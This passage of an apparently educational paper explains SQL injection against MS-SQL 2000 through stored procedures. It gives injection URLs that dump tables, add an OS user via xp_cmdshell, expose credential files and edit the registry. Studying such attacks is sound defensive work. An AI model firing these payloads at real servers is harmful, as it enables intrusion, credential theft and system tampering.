Part Two – Advanced Injection: sprocs and the leverage of your position
"It didn';t take people long to realise that with all the ';functionality'; built into MSSQL
that a compromised MS-SQL server translated almost directly to a
compromised server and served as an excellent springboard into internal
networks" (sensepost)
This section is specific to Microsoft SQL Server and covers the use of inbuilt
stored procedures and extended stored procedures. By making intelligent use
of these procedures an attacker can greatly leverage their position against
your system.
To make use of these procedures the attacker takes advantage of the same
weaknesses that allowed the basic SQL injection.
For many of the following examples to work, the web server under attack
would need to be connected to the database with the system administrator
login. Although this is a big no no, many use it anyway. So this assumption
holds throughout this section.
One of the most useful in-built stored procedures is “sp_makewebtask”. In
itself it doesn’t reveal any information, but it creates a structure for the
attacker to view the results of other procedures and queries. This allows an
attacker to more efficiently collect data. sp_makewebtask can be used in
conjunction with other queries and/or inbuilt stored and extended stored
procedures.
sp_makewebtask can take in excess of 30 arguments. A discussion of all of
these is beyond the scope of this paper, however SQL Server Books Online
(supplied with MS-SQL 2000) provides complete details. The most basic
format is:
sp_makewebtask [@outputfile =] ';outputfile';, [@query =] ';query';
To quote directly from SQL Server Books Online:
"[@outputfile =] ';outputfile';
Is the location of the generated HTML file on an instance of Microsoft® SQL
Server™. It can be a UNC name if the file is to be created on a remote
computer. outputfile is nvarchar(255), with no default.
[@query =] ';query';
Is the query to be run. query is ntext, with no default. Query results are
displayed in the HTML document in a table format when the task is run with
sp_runwebtask. Multiple SELECT queries can be specified and result in
multiple tables being displayed in outputfile. "(Microsoft Corporation)
For an attacker this is a dream tool.
Consider the following:
http://stuart/homebase/practical /index.asp?story=784;exec%20sp_makewebtask%20
';d:/inetpub/wwwroot/test.html';,';SELECT%20*%20FROM%20story';--
This generates everything in the story table and places it in a file on the web
server called test.html. Obviously you need to know the directory set-up of the
machine, but with trial and error this is often not difficult to determine.
Another example of using sp_makewebtask to display sensitive data follows.
In this case it will produce a file containing the details of all the stored
procedures:
http://stuart/homebase/practical /index.asp?story=784;exec%20sp_makewebtask%20
';d:/inetpub/wwwroot/test7.html';,"SELECT%20o.na me,c.text%20from%20sysCommen
ts%20c%20join%20sysObjects%20o%20on%20c.id=o.id %20where%20o.xtype=';P';--
Another very useful extended procedure is xp_cmdshell. Again here is the
syntax from SQL Server Books Online:
xp_cmdshell {';command_string';} [, no_output]
Where the command string is an operating system command. (Microsoft
Corporation)
The following will add the user Ghost with the password test to the system – a
great illustration of why one should never connect with the system
administrator login.
http://stuart/homebase/practical/in dex.asp?story=784;exec%20master.dbo.xp_cmdsh
ell%20';net%20user%20ghost%20test%20/ADD';--
Sunderic and Woodhead make the case for using the xp_cmdshell procedure
to copy backup files from one machine to another as follows:
exec master.dbo.xp_cmdshell ';copy e: \w2kPro~1\Mocros~1\'; ';MSSQL\BACKUP\*.*
m:';, no output
(Sunderic and Woodhead p.474. 2001.)
But an attacker could just as easily use this to copy and rename sensitive files
into the webroot. For example:
http://stuart/homebase/practical/in dex.asp?story=784;exec%20master.dbo.xp_cmdsh
ell%20';copy%20d:\inetpub\wwwroot\includefiles\common.asp%20d:\inetpub\wwwroot
\common.txt';--
In the case above the attacker is copying the include\common.asp file (which
contains the password and username for the database connection) and
renaming it to a textfile so that they can read it in a browser.
Other procedures can also be combined with sp_makewebtask to do any of
the following (to name but a few):
Provide a list of all the groups in the domain:
xp_enumgroups [';domain_name';]
http://stuart/homebase/practical/index.asp?story=784;exec%20sp_makewebtask%20
@outputfile=';d:/inetpub/wwwroot/test11.html';,@query=';exec%20master.dbo.xp_enu
mgroups%20stuart';--
To query MS-SQL Server information:
xp_msver [optname]
(leave optname blank to get all the information)
http://stuart/homebase/practical/index.asp?story=784;exec%20sp_makewebtask%20
@outputfile=';d:/inetpub/wwwroot/test.html';,@query=';exec%20master.dbo.xp_msver';-
-
To get information pertaining to the current security settings of the serv er:
xp_loginconfig [';config_name';]
(leave config_name blank to get all the information)
http://stuart/homebase/practical /index.asp?story=784;exec%20sp_makewebtask%20
@outputfile=';d:/inetpub/wwwroot/test13.html';,@query=';exec%20master.dbo.xp_login
config';--
To get information pertaining to login accounts to the server:
xp_logininfo [[@acctname =] ';account_name';] [,[@option =] ';all'; | ';members';]
[,[@privelege =] variable_name OUTPUT]
http://stuart/homebase/practical /index.asp?story=784;exec%20sp_makewebtask%20
@outputfile=';d:/inetpub/wwwroot/test15.html';,@query=';exec%20master.dbo.xp_logini
nfo';--
Some other nifty stored procedures which may appeal to a mischievous
attacker include:
sp_rename can be used to change column and table names.
sp_rename [ @objname = ] ';obj ect_name'; , [ @newname = ] ';new_name';
[ , [ @objtype = ] ';object_type'; ]
So for example to rename the author table to say authors, the following would
do nicely.
http://stuart/homebase/practical/in dex.asp?story=784;%20EXEC%20sp_rename%20';
author';,%20';authors';--
In many cases the procedure can play a very useful role for the administrator,
however if the server is not fully locked down, these procedures can be just as
if not more useful for the attacker.
MS-SQL 2000 comes with hundreds of stored procedures and a couple of
dozen extended stored procedures pre-installed. In some cases, such as with
xp_msver, the usefulness for an attacker is minor, but the point is that all lead
to system information leakage – information that can then be used to assist in
an attempt to completely compromise the system at a latter time.
Lastly there are also a selection of extended stored procedures that can be
used to read, alter, list and delete registry values. Interestingly, there is no
documentation for them on the SQL Server Books Online, but both Sunderic
and Woodhead and Anley touch on some possible uses:
The registry related extended stored procedures are:
xp_regread - reads a registry value
xp_rewrite - writes to the registry
xp_regdeletekey - deletes a key
xp_regdeletevalue - deletes a key';s value
xp_regenumvalues - lists names of value entries
xp_regaddmultistring - adds a multistring (zero-delimited string)
xp_regremovemultistring - removes a multi string (zero delimited string)
(Sunderic and Woodhead. p478. 2001.)
These can be used just as any other extended stored procedure. So for
example the following will add a new value to the MS-SQL set-up key:
http://stuart/homebase/practical /index.asp?story=784;exec%20master.dbo.xp_regwri
te%20';HKEY_LOCAL_MACHINE';,';SOFTWARE \Microsoft\MSSQLServer\Setup';,';Test
2';,';REG_SZ';,';Test2';--
While the following will remove the same key:
http://stuart/homebase/practical/in dex.asp?story=784;exec%20master.dbo.xp_regdel
etevalue%20';HKEY_LOCAL_MACHINE';,';SOFTWARE\Microsoft\MSSQLServer\Setu
p';,';Test2';--
It does not take too make imagination to consider other malicious uses for
these extended stored procedures, particularly xp_regdeletekey and
xp_regdeletevalue. Anley (Anley. p. 13. 2002.), also details an interesting use
of the extended stored procedure xp_regenumvalues.
For further reading on advanced use of extended stored procedures, custom
extended stored procedures and other more ';exotic'; attacks, Anley';s paper is
informative. Pages 14 to 17, where he discusses importing text files into
temporary tables an attacker has created and a very curious attack which will
cause the SQL Server to speak, are particularly enlightening. (Anley. p.14-17.
2002.)
This section has only lightly touched on what can be done with stored
procedures on a MS-SQL 2000 system. With hundreds of built in procedures
many a rainy day could be spent experimenting with what could be done on a
susceptible system.
Other tools
Stored procedures, extended stored procedures and SQL injection aside, one
of the deterrents to the use of SQL injection has been that for an attacker,
finding a susceptible site can be tedious and very time consuming.
Not any more.
The first automated tool (to my knowledge) that checks for SQL injection
vulnerabilities, Wpoison has appeared out of Sourceforge and can be found at
http://wpoison.sourceforge.net/
The tool runs on FreeBSD and Linux systems and to quote form their readme:
” Wpoison is a tool primary designed for pen-testers and/or system
administrators. The objective of this tool is to find any potential SQL-Injection
vulnerabilities in dynamic web documents which deals with databases: php,
asp, etc.."(Wpoison)
The tool works by automatically crawling a site testing all form fields and
hyperlinks and runs a series of injection tests on them. wPoison then analyses
the error message, and where it is in a format expected from a successful
SQL injection, the address is flagged for further investigation.
Admittedly a handy tool for developers who want to test their code, but an
equally handy tool for an attacker. |
